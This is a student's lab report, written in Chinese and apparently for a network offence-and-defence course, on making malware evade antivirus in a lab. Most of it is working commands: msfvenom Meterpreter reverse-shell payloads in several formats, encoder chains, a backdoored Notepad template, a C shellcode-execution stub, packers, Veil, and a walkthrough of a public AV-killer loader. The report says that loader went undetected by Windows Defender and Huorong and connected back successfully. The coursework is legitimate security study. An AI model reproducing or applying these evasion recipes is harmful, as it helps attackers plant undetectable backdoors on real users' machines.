20232327 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

1.1 本周学习内容

  • 免杀:Virus AV,反杀毒技术,对恶意软件做处理,让它不被杀毒软件所检测;
  • 免杀技术:修改特征码、修改校验和、花指令免杀、加壳免杀(加密壳+压缩壳)、内存免杀

1.2 实践内容

  • 掌握免杀原理与技术
  • 使用Msfvenom、veil等工具生成后门代码,使用加壳工具、改变编码方式等操作实现免杀;通过virscanvirustotal等工具对生成的payload进行风险检测;

1.3 问题回答

(1)杀软是如何检测出恶意代码的?
通过“特征” 和 “行为”两个维度识别恶意代码,包括特征码检测(通过对比数据库中的恶意代码片段判定),行为分析(监控程序运行时的行为,判定是否符合恶意行为模型)和启发式检测(属于“预测型”检测,对未知文件分析其代码结构、逻辑流程判断是否属于恶意程序);
(2)免杀是做什么?
免杀是通过技术手段,修改或隐藏恶意代码的特征、行为,使其绕过杀软的检测机制,从而在目标设备上正常运行的技术;

(3)免杀的基本方法有哪些?
修改特征码、修改校验和、花指令免杀、加壳免杀(加密壳+压缩壳)、内存免杀;

2.实验过程

本次实验使用kali虚拟机和win10虚拟机完成,测试其相互能ping通;
本次使用的kali端ip:192.168.64.148
PixPin_2025-10-20_16-06-24
win10虚拟机ip:192.168.64.128
PixPin_2025-10-25_15-59-34

2.1 使用MSF编码器生成payload并进行检测

2.1.1生成基础载荷并进行检测

使用命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -f exe -o 20232327.exe生成基础载荷;
命令格式:

msfvenom -p <payload参数> -f <输出格式> -o <输出文件名> [其他可选参数]

生成基础载荷
PixPin_2025-10-20_16-43-21

对生成的基础载荷进行检测,发现50/72的安全厂商将其标记为恶意文件,可以发现免杀效果不是很好;
基础载荷检测
PixPin_2025-10-20_16-47-49

2.1.2用不同编码器对基础载荷进行编码并检测

接下来对生成的基础载荷使用不同的编码器进行编码,测试不同编码后文件的免杀效果;

#指定编码器x86/shikata_ga_nai编码1次
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -e x86/shikata_ga_nai -i 1 -f exe -o shikata_ga_nai_1.exe
#指定编码器编码x86/shikata_ga_nai 8次
#迭代次数并非越多越好,5-10是较优区间。次数过少则变形不充分,次数过多会导致代码体积膨胀,反而可能触发“异常文件大小”的告警规则。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -e x86/shikata_ga_nai -i 8 -f exe -o shikata_ga_nai_8.exe
#指定编码器编码器 x86/alpha_mixed(纯字母数字编码)
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -e x86/alpha_mixed -i 8 -f exe -o alpha_mixed_payload.exe
#指定编码器 x86/call4_dword_xor(异或 + 调用变形)
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -e x86/call4_dword_xor -i 6 -f exe -o call4_xor_payload.exe
#指定编码器 x64/xor(64 位系统专用异或编码)
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -e x64/xor -i 7 -f exe -o x64_xor_payload.exe
#编码器 x86/fnstenv_mov(浮点指令变形)
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -e x86/fnstenv_mov -i 5 -f exe -o fnstenv_payload.exe

PixPin_2025-10-20_17-19-41
PixPin_2025-10-20_17-19-51

指定编码器编码x86/shikata_ga_nai 编码1次
PixPin_2025-10-25_16-33-20

指定编码器编码x86/shikata_ga_nai 编码8次
PixPin_2025-10-25_16-10-13

指定编码器 x86/call4_dword_xor(异或 + 调用变形)
PixPin_2025-10-25_16-10-28

指定编码器编码器 x86/alpha_mixed(纯字母数字编码)
PixPin_2025-10-25_16-10-37

指定编码器 x64/xor(64 位系统专用异或编码)
PixPin_2025-10-25_16-10-45

编码器 x86/fnstenv_mov(浮点指令变形)
PixPin_2025-10-25_16-10-52

文件名 检测引擎命中数(/72)
20232327.exe 50
shikata_ga_nai_1.exe 44
shikata_ga_nai_8.exe 44
x64_xor_payload.exe 38
fnstenv_payload.exe 41
call4_xor_payload.exe 42
alpha_mixed_payload.exe 41

综合来看,使用编码器编码后的文件要比基础载荷的免杀效果稍好,x64_xor_payload编码的免杀效果相对较好,一次编码和多次编码对于免杀效果意义不大,单一编码手段免杀能力有限

2.1.3混合编码

尝试混合多种编码器,对生成的基础payload进行编码,发现使用多种编码器进行混合编码后的文件免杀效果会比较好;
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -e x86/alpha_mixed -i 3 -e x86/alpha_upper -i 2 -e x86/call4_dword_xor -i 2 -x ./notepad.exe -f exe -o 32bit_multi_encoded.exe
混合使用编码器进行编码后检测
PixPin_2025-10-25_16-32-17
使用windows Defender对生成的文件进行检测,发现没有检测到威胁,说明免杀效果比较好;
使用windows Defender对混合加密的文件进行检测
PixPin_2025-10-20_17-35-51

2.1.4将payload注入其他软件中

尝试调用系统软件,将payload代码注入到win系统自带的Notepad.exe文件中;
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -e x64/xor -i 6 -x ./notepad_x64.exe -f exe -o notepad_x64_backdoor.exe

命令格式
msfvenom -a <架构> --platform <目标平台> -p <payload参数> -e <编码器> -i <编码次数> -x <模板文件> -f <输出格式> -o <输出文件名>

找到系统中Notepad.exe文件并将其复制到kali中
PixPin_2025-10-20_17-23-28
将shellcode代码注入到记事本中,发现免杀效果会稍好一些;
将payload注入到Notepad.exe后检测
PixPin_2025-10-25_16-27-10

2.1.5生成其他格式的文件

命令格式同上
jar

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -f jar -o 20232327.jar

php

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.64.148 LPORT=2327 -f raw -o 2023227.php

py

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -f raw -o 20232327.py

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -f -o 20232327.py

apk

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -o 20232327.apk

PixPin_2025-10-25_16-45-07
PixPin_2025-10-25_16-45-17
PixPin_2025-10-25_16-45-30
PixPin_2025-10-25_16-44-21
PixPin_2025-10-25_16-56-07

文件名 检测引擎命中数(/ 总引擎数)
20232327.jar 34/64
2023227.php 9/62
20232327.apk 27/66
20232327.py 0/62
20232327.py(raw) 22/62

综合来看,python文件和php文件的免杀效果较好,jar文件和apk文件免杀能力一般;

2.2使用Veil-Evasion进行免杀处理

2.2.1安装veil

直接使用sudo apt -y install veil时,会因为网络原因下载速度很慢,这里使用从GitHub克隆Veil代码库的方法进行安装;
安装相关依赖
sudo apt install -y git curl wine python3 python3-pip mingw-w64
从GitHub克隆Veil代码库
git clone https://github.com/Veil-Framework/Veil.git
进入Veil目录并运行安装脚本
cd Veil/config
在这里使用vi setup.sh,将veil的源从github换成gitee可以大大缩短下载时间https://gitee.com/spears/VeilDependencies.git
veil换源
PixPin_2025-10-25_17-06-02
使用命令./config/setup.sh --force --silent安装

--force:强制安装,即使系统可能已有部分依赖项
--silent:在不提示确认的情况下自动安装所有依赖项

2.2.2使用veil生成免杀载荷

安装完成后,输入veil进入veil,依次选择use evasion使用免杀模块,use c/meterpreter/rev_tcp.py选择具体的payload生成脚本;set LHOST 192.168.64.148 set LPORT 2327,使用命令generate开始生成
使用veil生成免杀载荷
PixPin_2025-10-22_22-12-36
检验免杀效果
PixPin_2025-10-25_17-14-01
发现要比直接用MSF生成的载荷免杀效果要好;

2.3 C+shellcode实现免杀

通过使用msfvenom 生成C格式的Shellcode,并嵌入到C语言代码中;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -f c -o meterpreter_c.c

命令格式
msfvenom -p <payload参数> -f <输出格式> -o <输出文件名>

生成C格式的Shellcode
PixPin_2025-10-22_22-37-45

使用vim编辑生成的文件,在最后加上执行shellcode的主函数;

int main(){
  int(*func)()=(int(*)())buf; 
  func();
}

主函数定义一个函数指针 func,将其指向 buf 数组(buf 中存储的是 Meterpreter 的 shellcode 二进制数据);
然后调用 func(),这一操作会让程序跳转到 buf 对应的内存地址,执行其中的 shellcode 指令,从而触发 Meterpreter 反向连接等恶意功能。
加上执行主函数
PixPin_2025-10-22_22-37-58
对生成的从+shellcode文件进行检测
PixPin_2025-10-25_17-22-38

2.4 加壳

2.4.1 加upx压缩壳

使用命令upx 2327_meterpreter_c_.exe -o 2327_meterpreter_c_upx.exe对上一项任务中生成的文件加upx压缩壳;
加upx壳
PixPin_2025-10-22_22-43-46

检测加了upx压缩壳后的效果
PixPin_2025-10-25_17-25-48
发现加壳后比不加壳时相比免杀效果变差了,可能是upx壳的效果太明显被广泛标注

2.4.2 加hyperion加密壳

将当前需要加壳的文件copy到hyperion文件夹下;
sudo cp 2327_meterpreter_c_.exe /usr/share/windows-resources/hyperion
进入hyperion文件夹加壳;
cd /usr/share/windows-resources/hyperion
这里的hyperion文件夹需要管理员权限才能改动;
sudo wine hyperion.exe -v 2327_meterpreter_c_.exe 2327_meterpreter_c_hypersion.exe
加hyperion壳
PixPin_2025-10-22_22-54-08

对加hyperion壳的文件进行检测
PixPin_2025-10-25_17-32-34
发现加了hyperion壳的文件免杀效果变差,说明壳的特征被识别

2.5 组合多种技术实现恶意代码免杀

2.5.1. 使用msf工具生成载荷+编码+加壳

使用msf工具生成一个工具载荷, 并使用x86/shikata_ga_nai编码器编码8次得到.c文件;
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 8 -b '\x00' LHOST=192.168.64.148 LPORT=2327 -f c > 20232327.c
msf生成载荷并编码
PixPin_2025-10-24_00-27-26
使用vim编辑生成的文件,在最后加上执行shellcode的主函数;

int main(){
  int(*func)()=(int(*)())buf; 
  func();
}

在生成的载荷末尾加上执行主函数
PixPin_2025-10-24_00-28-45

函数解释
主函数定义一个函数指针 func,将其指向 buf 数组(buf 中存储的是 Meterpreter 的 shellcode 二进制数据);
然后调用 func(),这一操作会让程序跳转到 buf 对应的内存地址,执行其中的 shellcode 指令,从而触发 Meterpreter 反向连接等恶意功能。

使用MinGW-w64编译该源文件
i686-w64-mingw32-g++ 20232327.c -o 20232327_.exe

命令格式
<交叉编译器路径/名称> <源代码文件> -o <输出可执行文件名>
接着给这个源文件加上upx壳和hyperion壳,并进行检测
upx 20232327_.exe -o 20232327__upx.exe
sudo wine hyperion.exe -v 20232327__upx.exe 20232327__upx_hyper.exe

检测最终生成的文件
PixPin_2025-10-26_11-59-42
此时发现免杀效果不是很好,上文中经过测试发现加壳后容易被识别,所以此时再尝试检测不加壳的文件;
不加壳的文件检测
PixPin_2025-10-26_12-01-52
因为这个壳的特征太过于明显,所以不加壳反而免杀效果会好一些;
用另一台电脑实测,在杀软(Lenovo Anti-Virus powered by Huorong Security)开启的情况下,无法运行软件;
PixPin_2025-10-26_12-07-36
在关闭杀软的情况下可以回连成功;
连接测试
PixPin_2025-10-23_23-35-54

2.5.2. 以win记事本为模板生成的载荷+加壳

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327 -e x64/xor -i 6 -x ./notepad_x64.exe -f exe -o notepad_x64_backdoor.exe
以记事本为模板,生成的文件的基础上,再对其进行加壳,检测生成的文件;
对以Notepad.exe为模板生成的载荷加壳生成的文件检测
PixPin_2025-10-24_00-58-20
发现免杀效果还是比较好的,在电脑中使用杀软(Lenovo Anti-Virus powered by Huorong Security和Windows defender分别进行检测,发现都没有检测出风险;
使用Lenovo Anti-Virus powered by Huorong Security进行检测
PixPin_2025-10-26_12-16-05
使用 Windows defender进行检测
PixPin_2025-10-26_12-19-54
但是这种情况下生成的文件,在win中进行运行时,会被拒绝执行无法运行,询问AI得知可能是win对自己的软件在运行时会进行检测,被篡改的文件无法正常运行;😢
所以这里再尝试一种方法:

2.5.3使用Antivirus_killer项目进行免杀

这是2025年10月份发布在GithubAntivirus_killer上的一个项目,是一个比较新的免杀方法,项目作者介绍:测试于2025年10月22日内存免杀版本_2025_10_22可过最新版火绒、360核晶模式、windows自带杀软、卡巴斯基
项目实现原理是对 shellcode 进行Base64 编码和XOR 加密,避免静态特征被直接识别,在静态免杀基础上增加沙箱检测和行为隐藏,通过is_wechat_installed函数检查目标系统是否安装微信、检查CPU核心数、进程数量、内存大小等,规避沙箱环境;使用CreateRemoteThread替代CreateThread,在当前进程中创建远程线程执行 shellcode,减少直接调用敏感 API 的痕迹。
此外,还有通过加入多层嵌套循环计算斐波那契数列等冗余代码,增强动态免杀;还有将 shellcode 与加载器分离,降低加载器本身的敏感特征的分离免杀版本和采用 “EXE+DLL” 分离架构,EXE 加载 DLL,DLL 负责解密和执行 shellcode,进一步拆分敏感逻辑的内存免杀版本;
以下是复现和使用
使用命令git clone https://github.com/paokuwansui/Antivirus_killer.git
将仓库下载到本地;
进入文件夹cd Antivirus_killer
先用msf工具生成基础载荷
msfvenom LHOST=192.168.64.148 LPORT=2333 -p windows/x64/meterpreter/reverse_tcp -f c
复制生成的载荷备用;
选择一个加密器(这里选择 加密器_2025_5_27.c),将上一步生成的 shellcode 替换到代码中的 buf 变量。
更改加密器中的buf变量
PixPin_2025-10-27_14-42-16
然后使用命令gcc 加密器_2025_5_27.c -o encrypt.exe编译;
编译完成后,使用命令./encrypt.exe 运行生成的exe文件,会生成一个payload.txt的文件,复制加密后的字符串备用。
查看加密后的payload
PixPin_2025-10-27_14-45-02
选择对应的加载器(加载器_2025_5_27.c),将加密后的 shellcode 替换到代码中的 shellcode_src 变量;
更改选择器中的变量
PixPin_2025-10-27_14-41-27
接着使用命令x86_64-w64-mingw32-gcc 加载器_2025_5_27.c -o ProgramUpdate.exe -lpsapi编译这个库;
至此,后门文件已制作完毕,将其复制到win电脑中进行检测;
检测制作的后门软件
PixPin_2025-10-27_14-51-31
4cabe6fd0c212ce1c41857bc9e2292dd
免杀效果还是不错的,经过测试,Windows defender和火绒都没有检测异常;
接下来我们在kali中启动Metasploit配置监听,等待目标主机连接(此处不再详细赘述监听的设置);
成功!!!
PixPin_2025-10-27_14-56-11
成功!!!而且没有被发现!!!

3.问题及解决方案

  • 问题1:使用命令sudo apt -y install veil下载veil时,因为网络问题下载速度很慢;
    PixPin_2025-10-20_22-07-16
  • 问题1解决方案:先使用命令sudo apt install -y git curl wine python3 python3-pip mingw-w64安装依赖项,然后从Github克隆代码库,更改安装脚本中的源为gitte的国内源后,顺利完成下载;
  • 问题2:在win虚拟机中运行生成的载荷时,出现找不到.dll库的问题;
    cec6309b3bbd61b3f009cf354440ce4a
    )
  • 问题2解决方案:在自己的主电脑中使用everything搜索这个库文件,找到这个文件后将其复制到载荷文件的路径下后,正常运行;

4.学习感悟、思考等

  • 在进行每一次的网络攻防实验之前,一定要保存虚拟机快照,可以避免在实验中对某些配置更改后无法还原的问题;
  • 不要轻易更新现在最新版的kali系统,已经是第二次犯这个错误了,更新系统后鼠标指针会丢失,能正常点击使用但是图片会丢失,查看鼠标图标的配置文件都是正常的,将鼠标大小调非常大后会正常显示,但是会变得卡顿,找了很多教程也没有解决这个问题;
  • 本次实验中,我尝试使用了多种免杀方法,但是因为一些免杀方法已经被安全观厂商广泛标注,所以反而不能起到很好的免杀效果,组合使用多种免杀方法可以很好的增强免杀效果,但是方法的使用是很重要的一部分;
  • 安全杀毒软件虽然强大,但是通过此次实验,发现还是有不少方法可以实现免杀效果,所以我们一定要有风险和安全意识,注意保护自己的设备环境安全,不要轻易下载来源不明的文件;
  • 最后是在本次实验中,使用了2025年10月份发布在Github上的一个项目Antivirus_killer,是本次实验中免杀效果最好的一个工具,尝试阅读代码并在AI帮助下理解了其中的一些原理,但是对其中一些方法不是很了解,在之后的学习中,我将不断学习不断提升自己的操作能力!

参考资料

posted @ 2025-10-26 20:35  杨文贤(20232327)  阅读(15)  评论(0)    收藏  举报